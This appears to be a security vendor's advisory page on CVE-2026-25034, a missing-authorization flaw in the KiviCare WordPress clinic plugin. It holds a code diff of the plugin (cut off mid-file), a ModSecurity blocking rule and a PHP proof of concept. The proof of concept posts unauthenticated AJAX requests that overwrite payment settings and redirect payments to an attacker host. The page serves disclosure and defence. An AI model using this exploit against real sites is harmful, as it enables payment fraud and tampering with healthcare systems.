+                'css-only' => false, // Optional. Set to true to only load style assets in production mode.
+                'in-footer' => false, // Optional. Defaults to false.
+            ]
+        );
+
+        // Get JED locale data and add it inline
+        $locale_data_kc = kc_get_jed_locale_data('kivicare-clinic-management-system');
+
+        add_action('admin_footer', function () {
+            echo '<style>
+            #wpcontent, #footer { margin-left: 0px !important;padding-left: 0px !important; }
+            html.wp-toolbar { padding-top: 0px !important; }
+            #adminmenuback, #adminmenuwrap, #wpadminbar, #wpfooter,#adminmenumain, #screen-meta { display: none !important; }
+            #wpcontent .notice { display:none; }
+            </style>';
+        });
+
+        wp_localize_script('kc-dashboard', 'kc_frontend', [
+            'rest_url' => rest_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => KIVI_CARE_PREFIX,
+            'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif',
+        ]);
+    }
+}
 No newline at end of file
--- a/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
+++ b/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
@@ -0,0 +1,458 @@
+<?php
+
+namespace Appadmin;
+
+use AppbaseClassesKCBase;
+use AppbaseClassesKCPermissions;
+use AppmodelsKCOption;
+use function IqonicViteiqonic_enqueue_asset;
+
+defined('ABSPATH') || exit;
+
+/**
+ * KiviCare Dashboard Permalink Handler
+ *
+ * Handles custom dashboard routes for different user roles
+ *
+ * @package KiviCare
+ * @version 3.0.0
+ */
+class KCDashboardPermalinkHandler
+{
+    /**
+     * The single instance of the class.
+     *
+     * @var KCDashboardPermalinkHandler
+     */
+    protected static $instance = null;
+
+    /**
+     * Dashboard routes configuration
+     */
+    private $dashboard_routes = [];
+
+    public function __construct()
+    {
+        add_filter('rewrite_rules_array', [$this, 'add_dashboard_rewrite_rules']);
+        add_filter('query_vars', [$this, 'register_query_vars']);
+        add_filter('template_include', [$this, 'handle_template_include'], 99);
+        add_action('init', [$this, 'add_permalink_tags']);
+
+
+        // Get roles from KCBase and transform into dashboard routes
+        $roles = array_merge(KCBase::get_instance()->KCGetRoles(), [
+            'administrator'
+        ]);
+        $this->dashboard_routes = [];
+
+        $pro_slugs = KCOption::getMultiple([
+            'dashboard_slug_admin',
+            'dashboard_slug_clinic_admin',
+            'dashboard_slug_doctor',
+            'dashboard_slug_receptionist',
+            'dashboard_slug_patient',
+        ]);
+        foreach ($roles as $role) {
+            // Remove 'kiviCare_' prefix and use as both key and value
+            $clean_role = str_replace(KIVI_CARE_PREFIX, '', $role);
+
+            // Map the clean role to pro slug option key
+            $pro_slug_key = match ($clean_role) {
+                'administrator' => 'dashboard_slug_admin',
+                'clinic_admin' => 'dashboard_slug_clinic_admin',
+                'doctor' => 'dashboard_slug_doctor',
+                'receptionist' => 'dashboard_slug_receptionist',
+                'patient' => 'dashboard_slug_patient',
+                default => ''
+            };
+
+            // Use pro slug if available, otherwise use default
+            if (!empty($pro_slug_key) && !empty($pro_slugs[$pro_slug_key])) {
+                $this->dashboard_routes[$role] = $pro_slugs[$pro_slug_key];
+            } else {
+                $this->dashboard_routes[$role] = 'kivicare-' . $clean_role . '-dashboard';
+            }
+        }
+
+    }
+
+    /**
+     * Get singleton instance
+     */
+    public static function instance()
+    {
+        if (is_null(self::$instance)) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    /**
+     * Add dashboard rewrite rules
+     */
+    public function add_dashboard_rewrite_rules($rules)
+    {
+        $roles = array_merge(KCBase::get_instance()->KCGetRoles(), ['administrator']);
+        $dashboard_routes = [];
+        $pro_slugs = KCOption::getMultiple([
+            'dashboard_slug_admin',
+            'dashboard_slug_doctor',
+            'dashboard_slug_receptionist',
+            'dashboard_slug_patient',
+        ]);
+
+        foreach ($roles as $role) {
+            $clean_role = str_replace(KIVI_CARE_PREFIX, '', $role);
+            $pro_slug_key = match ($clean_role) {
+                'clinic_admin', 'administrator' => 'dashboard_slug_admin',
+                'doctor' => 'dashboard_slug_doctor',
+                'receptionist' => 'dashboard_slug_receptionist',
+                'patient' => 'dashboard_slug_patient',
+                default => ''
+            };
+
+            if (!empty($pro_slug_key) && !empty($pro_slugs[$pro_slug_key])) {
+                $dashboard_routes[$role] = $pro_slugs[$pro_slug_key];
+            } else {
+                $dashboard_routes[$role] = 'kivicare-' . $clean_role . '-dashboard';
+            }
+        }
+
+        $new_rules = [];
+        foreach ($dashboard_routes as $route => $slug) {
+            if (empty($slug))
+                continue;
+
+            $new_rules[$slug . '(?:/(.*))?/?$'] = 'index.php?kc_dashboard_type=' . $route . '&kc_dashboard_path=$matches[1]';
+        }
+
+        return $new_rules + $rules; // Prepend our rules
+    }
+
+    /**
+     * Add permalink tags
+     */
+    public function add_permalink_tags()
+    {
+        add_rewrite_tag('%kc_dashboard_type%', '([^&]+)');
+        add_rewrite_tag('%kc_dashboard_action%', '([^&]+)');
+        add_rewrite_tag('%kc_dashboard_path%', '(.+?)');
+    }
+
+    /**
+     * Register custom query variables
+     */
+    public function register_query_vars($vars)
+    {
+        $vars[] = 'kc_dashboard_type';
+        $vars[] = 'kc_dashboard_action';
+        $vars[] = 'kc_dashboard_path';  // Add this new query var
+        return $vars;
+    }
+
+    /**
+     * Handle template include
+     */
+    public function handle_template_include($template)
+    {
+        global $wp, $wp_query;
+
+        $dashboard_type = get_query_var('kc_dashboard_type');
+        $dashboard_action = get_query_var('kc_dashboard_action');
+        $dashboard_path = get_query_var('kc_dashboard_path');  // Get the full path
+
+        // Check if this is a KiviCare dashboard request
+        if (!empty($dashboard_type) && in_array($dashboard_type, array_keys($this->dashboard_routes))) {
+
+            // Verify user permissions for the requested dashboard type
+            if (!$this->verify_dashboard_access($dashboard_type)) {
+                // Redirect to login or show access denied
+                if (!is_user_logged_in()) {
+                    wp_safe_redirect(wp_login_url(home_url($wp->request)));
+                    exit;
+                } else {
+                    wp_die(esc_html__('You do not have sufficient permissions to access this dashboard.', 'kivicare-clinic-management-system'), esc_html__('Access Denied', 'kivicare-clinic-management-system'), ['response' => 403]);
+                }
+            }
+
+            // Set up global variables for the template
+            $GLOBALS['kc_dashboard_type'] = $dashboard_type;
+            $GLOBALS['kc_dashboard_action'] = $dashboard_action;
+            $GLOBALS['kc_dashboard_path'] = $dashboard_path;  // Make path available to template
+            $GLOBALS['kc_current_user_role'] = KCBase::get_instance()->KCGetRoles();
+
+            // Prevent 404
+            $wp_query->is_404 = false;
+            status_header(200);
+
+            // Remove admin bar inline CSS
+            add_filter('show_admin_bar', '__return_false');
+            remove_action('wp_head', '_admin_bar_bump_cb');
+
+            // Enqueue dashboard assets
+            add_action('wp_enqueue_scripts', function () use ($dashboard_type) {
+                global $wp_styles, $wp_scripts;
+
+                $allowed_styles = apply_filters('kc_allowed_styles', ['kc-dashboard-style']);
+                $allowed_scripts = apply_filters('kc_allowed_scripts', ['kc-dashboard-script']);
+
+                foreach ($wp_styles->queue as $handle) {
+                    if (
+                        !in_array($handle, $allowed_styles) &&
+                        strpos($handle, 'wp-') !== 0 &&
+                        strpos($handle, 'media-') !== 0
+                    ) {
+                        wp_dequeue_style($handle);
+                        wp_deregister_style($handle);
+                    }
+                }
+
+                foreach ($wp_scripts->queue as $handle) {
+
+                    if (
+                        !in_array($handle, $allowed_scripts) &&
+                        strpos($handle, 'wp-') !== 0 &&
+                        strpos($handle, 'media-') !== 0
+                    ) {
+                        wp_dequeue_script($handle);
+                        wp_deregister_script($handle);
+                    }
+                }
+
+
+                // Now enqueue only your needed assets
+                $this->enqueue_dashboard_assets($dashboard_type);
+            }, 999); // Priority 999 ensures this runs after everyone else
+
+
+            // Return the KiviCare dashboard template
+            $dashboard_template = KIVI_CARE_DIR . '/templates/html-kc-dashboard.php';
+
+            if (file_exists($dashboard_template)) {
+                add_filter('heartbeat_settings', function ($settings) {
+                    $settings['interval'] = 5; // seconds
+                    return $settings;
+                });
+
+                return $dashboard_template;
+            }
+        }
+
+        return $template;
+    }
+
+    /**
+     * Verify if current user has access to the requested dashboard
+     */
+    private function verify_dashboard_access($dashboard_type)
+    {
+        if (!is_user_logged_in()) {
+            return false;
+        }
+        // Check role-based access
+        return match ($dashboard_type) {
+            'administrator' => current_user_can('administrator') || KCPermissions::has_permission('administrator_dashboard'),
+            KCBase::get_instance()->getClinicAdminRole() => KCPermissions::has_permission('clinic_admin_dashboard'),
+            KCBase::get_instance()->getReceptionistRole() => KCPermissions::has_permission('receptionist_dashboard'),
+            KCBase::get_instance()->getDoctorRole() => KCPermissions::has_permission('doctor_dashboard'),
+            KCBase::get_instance()->getPatientRole() => KCPermissions::has_permission('patient_dashboard'),
+            default => false,
+        };
+    }
+
+    /**
+     * Get current user's KiviCare role
+     */
+    private function get_user_role()
+    {
+        if (!is_user_logged_in()) {
+            return null;
+        }
+
+        $current_user = wp_get_current_user();
+
+        // Check KiviCare specific role first
+        $kc_role = get_user_meta($current_user->ID, 'kivicare_user_role', true);
+        if (!empty($kc_role)) {
+            return $kc_role;
+        }
+
+        // Fallback to WordPress roles
+        if (current_user_can('administrator')) {
+            return 'administrator';
+        }
+
+        // Default role based on capabilities
+        if (KCPermissions::has_permission('clinic_admin_dashboard')) {
+            return 'clinic_admin';
+        } elseif (KCPermissions::has_permission('doctor_dashboard')) {
+            return 'doctor';
+        } elseif (KCPermissions::has_permission('receptionist_dashboard')) {
+            return 'receptionist';
+        } elseif (KCPermissions::has_permission('patient_dashboard')) {
+            return 'patient';
+        }
+
+        return 'patient'; // Default role
+    }
+
+    /**
+     * Enqueue dashboard assets based on dashboard type
+     */
+    private function enqueue_dashboard_assets($dashboard_type)
+    {
+        // Enqueue media uploader
+        wp_enqueue_media();
+
+
+
+        // Use Vite to enqueue the main dashboard script
+        if (function_exists(function: 'IqonicViteiqonic_enqueue_asset')) {
+            iqonic_enqueue_asset(
+                KIVI_CARE_DIR . '/dist',
+                'app/dashboard/main.jsx',
+                [
+                    'handle' => 'kc-dashboard-' . $dashboard_type,
+                    'dependencies' => apply_filters('kc_dashboard_script_dependencies', ['wp-i18n', 'wp-hooks', 'heartbeat']),
+                    'css-dependencies' => [],
+                    'css-media' => 'all',
+                    'css-only' => false,
+                    'in-footer' => false,
+                ]
+            );
+        }
+
+        // Get JED locale data
+        $locale_data_kc = function_exists('kc_get_jed_locale_data') ? kc_get_jed_locale_data('kivicare-clinic-management-system') : [];
+
+        // Prepare dashboard data array
+        $dashboard_data = [
+            'rest_url' => rest_url(),
+            'nonce' => wp_create_nonce('wp_rest'),
+            'locale_data' => $locale_data_kc,
+            'prefix' => defined('KIVI_CARE_PREFIX') ? KIVI_CARE_PREFIX : 'kc_',
+            'loader_image' => (defined('KIVI_CARE_DIR_URI') ? KIVI_CARE_DIR_URI : '') . 'assets/images/loader.gif',
+            'dashboard_type' => $dashboard_type,
+            'user_role' => KCBase::get_instance()->KCGetRoles(),
+            'dashboard_url' => wp_make_link_relative($this->get_dashboard_url($dashboard_type)),
+            'dashboard_uri' => $this->get_dashboard_url($dashboard_type),
+            'api_url' => rest_url('kivicare/v1/'),
+            'admin_url' => KCBase::get_instance()->getLoginUserRole() === 'administrator' ? admin_url() : ''
+        ];
+        // Apply filter to dashboard data
+        $dashboard_data = apply_filters('kivicare_dashboard_data', $dashboard_data);
+
+        // Localize script with dashboard data
+        wp_localize_script('kc-dashboard-' . $dashboard_type, 'kc_frontend', $dashboard_data);
+    }
+
+    /**
+     * Get the menu URL for a specific dashboard type
+     */
+    public function get_menu_kivicare_url($dashboard_type)
+    {
+        $home_url = $this->get_dashboard_url($dashboard_type);
+        $path = isset($_SERVER['REQUEST_URI']) ? wp_parse_url(sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])), PHP_URL_PATH) : '';
+        $segments = explode('/', trim($path, '/'));
+        if (
+            function_exists('kcGetSetupWizardOptions') &&
+            is_array(kcGetSetupWizardOptions()) &&
+            KCBase::get_instance()->getLoginUserRole() === 'administrator' &&
+            !in_array('clinic-setup', $segments)
+        ) {
+            $setupClinicStep = [
+                "getting_started" => 'clinic-setup',
+                "clinic" => 'clinic-setup/basic-info',
+                "clinic_admin" => 'clinic-setup/admin-info',
+            ];
+            $setup_config = kcGetSetupWizardOptions();
+            foreach ($setup_config as $step) {
+                if (isset($step['completed']) && $step['completed'] === false) {
+                    if (isset($setupClinicStep[$step['name']])) {
+                        return $home_url . '/' . $setupClinicStep[$step['name']];
+                    }
+                }
+            }
+        }
+        return $home_url;
+    }
+
+    /**
+     * Get dashboard URL for a specific type with optional path
+     */
+    public function get_dashboard_url($dashboard_type)
+    {
+        $route = $this->dashboard_routes[$dashboard_type] ?? '';
+        if (!$route) {
+            return home_url();
+        }
+
+        $permalink_structure = get_option('permalink_structure');
+
+        if (empty($permalink_structure)) {
+            // Plain permalinks
+            return add_query_arg('kc_dashboard_type', $dashboard_type, home_url('/'));
+        }
+
+        $has_index_php = strpos($permalink_structure, '/index.php') !== false;
+
+        if ($has_index_php) {
+            return home_url('/index.php/' . $route);
+        }
+
+        return home_url('/' . $route);
+    }
+
+
+    /**
+     * Get all dashboard routes
+     */
+    public function get_dashboard_routes()
+    {
+        return $this->dashboard_routes;
+    }
+
+    /**
+     * Check if current request is for a KiviCare dashboard
+     */
+    public function is_dashboard_request()
+    {
+        return !empty(get_query_var('kc_dashboard_type'));
+    }
+
+    /**
+     * Get current dashboard type
+     */
+    public function get_current_dashboard_type()
+    {
+        return get_query_var('kc_dashboard_type');
+    }
+
+    /**
+     * Redirect user to their appropriate dashboard
+     */
+    public function redirect_to_user_dashboard()
+    {
+        $user_role = KCBase::get_instance()->KCGetRoles();
+        $dashboard_url = $this->get_dashboard_url($user_role);
+        if ($dashboard_url) {
+            wp_safe_redirect($dashboard_url);
+            exit;
+        }
+    }
+    /**
+     * Flushes the WordPress rewrite rules.
+     *
+     * This static method accesses the global $wp_rewrite object and calls its
+     * flush_rules() method to regenerate the rewrite rules. This is typically
+     * used when custom permalinks or rewrite rules have been added or modified,
+     * ensuring that WordPress recognizes the changes.
+     *
+     * @return void
+     */
+    public static function flush_rewrite_rules()
+    {
+        global $wp_rewrite;
+        $wp_rewrite->flush_rules(false); // Do not reset permalink structure
+    }
+}
--- a/kivicare-clinic-management-system/app/baseClasses/KCActivate.php
+++ b/kivicare-clinic-management-system/app/baseClasses/KCActivate.php
@@ -2,761 +2,42 @@

 namespace AppbaseClasses;

-use AppcontrollersKCPaymentController;
-use AppmodelsKCAppointment;
-use AppmodelsKCClinic;
-use AppmodelsKCDoctorClinicMapping;
-use AppmodelsKCServiceDoctorMapping;
-use WP_Error;
-use WP_Query;
-use function ClueStreamFilterfun;
-
-
-class KCActivate extends KCBase {
-
-    private $request;
-    private $db;
-
-	public static function activate() {
-
-		// Migrate database and other data...
-		self::migrateDatabase();
-
-		// following function call is only for development purpose remove in production mode.
-		(new self())->migratePermissions();
-//		(new self())->addDefaultPosts();
-		(new self())->addDefaultOptions();
-		(new self())->addDefaultModuleConfig();
-		(new self())->addAdministratorPermission();
-		(new self())->tableAlterFiled();
-        (new self())->createShortcodePage();
-        (new self())->migrateSidebar();
-        (new self())->addNewPosts();
-	}
-	public function init() {
-
-        $version = KIVI_CARE_VERSION;
-        $prefix = KIVI_CARE_PREFIX;
-        $config_options = kc_get_multiple_option("
-        '{$prefix}telemed_enable_added_to_service_table',
-        '{$prefix}doctor_service_duration_column',
-        '{$prefix}new-permissions-migrate{$version}',
-        '{$prefix}permissions-migrate-1.0{$version}',
-        '{$prefix}lang_option',
-        '{$prefix}widgetSetting',
-        '{$prefix}widget_order_list',
-        '{$prefix}local_payment_status',
-        '{$prefix}patient_mapping_table_1',
-        '{$prefix}patient_review_table_1',
-        '{$prefix}patient_mapping_table_1',
-        '{$prefix}service_mapping_new_column',
-        '{$prefix}payment_appointment_table_insert_1',
-        '{$prefix}copyrightText_save',
-        'is_lang_version_2.3.7',
-        'kivicare_version_2_3_0',
-        '{$prefix}logout_redirect',
-        'is_kivicarepro_upgrade_lang',
-        '{$prefix}email_appointment_reminder',
-        '{$prefix}showServiceImageFirst',
-        '{$prefix}tax_table_migrate',
-        '{$prefix}custom_notification_dynamic_keys_update',
-        '{$prefix}custom_form_table',
-        '{$prefix}is_appointment_widget_migrated'
-        ");
-
-		add_action( 'set_logged_in_cookie', function( $logged_in_cookie ){
-			$_COOKIE[LOGGED_IN_COOKIE] = $logged_in_cookie;
-		} );
-
-        //hook call after all plugins loaded
-        add_action( 'init', function (){
-            //translate language
-            load_plugin_textdomain( 'kc-lang', false, dirname( KIVI_CARE_BASE_NAME ) . '/languages' );
-        });
-
-        //security hook
-        add_filter( 'xmlrpc_methods', function ( $methods ) {
-            return array();
-        } );
-
-        //add user_status parameter in get_user function
-		add_action( 'pre_user_query', function ( $query ) {
-			if ( isset( $query->query_vars['user_status'] ) ) {
-				$query->query_where .= " AND user_status = " . (int) $query->query_vars['user_status'];
-			}
-		} );
-
-        add_filter( 'user_search_columns', function( $search_columns ) {
-            $search_columns[] = 'display_name';
-            $search_columns[] = 'user_status';
-            return $search_columns;
-        } );
-
-        add_action('pre_get_posts', array($this, 'wpb_remove_products_from_shop_listing'), 90, 1);
-
-        // Override WooCommerce pay_action for KiviCare
-        add_action('init', array($this, 'override_woocommerce_form_handler'), 20);
-
-        add_action('init',function () use ($config_options){
-            if(empty($config_options[KIVI_CARE_PREFIX.'telemed_enable_added_to_service_table'])){
-                global $wpdb;
-                kcUpdateFields($wpdb->prefix.'kc_service_doctor_mapping',['telemed_service' => 'varchar(10)']);
-                $telemed_id = $wpdb->get_var("SELECT id FROM {$wpdb->prefix}kc_services WHERE LOWER(name) = 'telemed'");
-                $all_service = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}kc_service_doctor_mapping ");
-                foreach ($all_service as $service){
-                    $wpdb->update($wpdb->prefix.'kc_service_doctor_mapping',['telemed_service' => (int)$service->service_id == (int)$telemed_id ? 'yes' : 'no'],['id' => $service->id]);
-                }
-                update_option(KIVI_CARE_PREFIX.'telemed_enable_added_to_service_table','yes');
-            }
-            $this->migrateDoctorServiceTableData();
-            if(empty($config_options[KIVI_CARE_PREFIX.'doctor_service_duration_column'])){
-                global $wpdb;
-                kcUpdateFields($wpdb->prefix.'kc_service_doctor_mapping',['duration' => 'int(5)']);
-                update_option(KIVI_CARE_PREFIX.'doctor_service_duration_column','yes');
-            }
-        });
-
-        add_action('admin_init', function () use ($config_options){
-            $allRole = ['administrator',$this->getPatientRole(),
-                $this->getDoctorRole(),
-                $this->getReceptionistRole(),
-                $this->getClinicAdminRole()];
-
-
-            if (empty($config_options[KIVI_CARE_PREFIX . 'new-permissions-migrate' . KIVI_CARE_VERSION])) {
-
-                $editable_roles = get_editable_roles();
-
-                if(!empty($editable_roles) && is_array($editable_roles)){
-
-                    $editable_roles = array_keys($editable_roles);
-                    $containsSearch = count(array_intersect($allRole, $editable_roles)) === count($allRole);
-
-                    if($containsSearch){
-                     

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25034
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100025034,phase:2,deny,status:403,chain,msg:'CVE-2026-25034: KiviCare unauthorized settings modification via AJAX',severity:'CRITICAL',tag:'CVE-2026-25034',tag:'WordPress',tag:'KiviCare'"
  SecRule ARGS_POST:action "@rx ^kc_(update_|save_|payment_|gateway_)" "chain"
    SecRule &ARGS_POST:settings_key "!@eq 0" "chain"
      SecRule &ARGS_POST:settings_data "!@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25034 - KiviCare – Clinic & Patient Management System (EHR) <= 3.6.16 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-25034
 * Demonstrates unauthorized settings modification in KiviCare plugin
 * Target: WordPress sites with KiviCare <= 3.6.16
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action hook (example - actual hook may vary)
$action = 'kc_update_payment_settings';

// Malicious settings to inject - this would overwrite payment configuration
$malicious_settings = array(
    'gateway_enabled' => '0', // Disable payment gateway
    'redirect_url' => 'http://attacker.com', // Redirect payments
    'api_key' => 'compromised_key'
);

// Encode settings as JSON for the payload
$settings_json = json_encode($malicious_settings);

// Prepare POST data
$post_data = array(
    'action' => $action,
    'settings_key' => 'kivicare_payment_settings', // Target option name
    'settings_data' => $settings_json
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[SUCCESS] Settings potentially modified. Check if payment gateway is disabled.";
} else {
    echo "[FAILED] Attack unsuccessful. HTTP Code: $http_code";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School